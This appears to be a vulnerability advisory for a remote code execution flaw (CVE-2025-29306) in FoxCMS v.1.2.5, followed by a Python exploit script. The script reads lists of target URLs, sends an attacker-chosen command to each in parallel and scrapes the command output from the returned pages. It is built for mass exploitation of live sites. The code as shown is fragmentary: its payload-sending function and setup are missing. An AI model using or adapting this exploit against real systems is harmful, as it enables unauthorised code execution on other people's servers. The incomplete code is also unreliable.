Description
Published: 2025-03-27 Updated: 2025-03-27
An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.
Scope of impact:
# Title: FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code (CVE-2025-29306) # Date : 2025-04-28 # Author: Dong Cong # # ZXJpYy5jb25nZG9uZ0BnbWFpbC5jb20= # # CVE-2025-29306
#!/usr/bin/env python3
import sys import urllib.parse import requests from lxml import html from concurrent.futures import ThreadPoolExecutor, as_completed from colorama import init, Fore, Style
# Initialize colorama init(autoreset=True)
def load_urls(filename): try: with open(filename, 'r') as f: urls = [line.strip() for line in f if line.strip()] return urls except FileNotFoundError: print(Fore.RED + f"[-] File not found: {filename}") sys.exit(1)
try: tree = html.fromstring(response.text) ul_element = tree.xpath("/html/body/header/div[1]/div[2]/div[1]/ul")[0] text_content = ul_element.text_content() cleaned = "\n".join([line.strip() for line in text_content.splitlines() if line.strip()]) return (target, True, cleaned) except IndexError: return (target, False, "<ul> element not found at specified XPath.")
if mode == '-f': if len(sys.argv) != 4: print(Fore.RED + "[-] Incorrect usage for file mode.") sys.exit(1) url_file = sys.argv[2] command = sys.argv[3] urls = load_urls(url_file) print(Fore.BLUE + f"[*] Loaded {len(urls)} URLs from {url_file}")
with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(send_payload, url, command): url for url in urls} completed = 0 total = len(urls)
for future in as_completed(futures): url = futures[future] completed += 1 try: target, success, output = future.result() print(Fore.BLUE + f"\n[*] Progress: {completed}/{total}") print(f"\n=== Result for {Fore.YELLOW}{target}{Fore.RESET} ===") if success: print(Fore.GREEN + "[+] Command Output:") print(output) else: print(Fore.RED + f"[-] Error: {output}") except Exception as e: print(Fore.RED + f"[-] Unexpected error with {url}: {e}")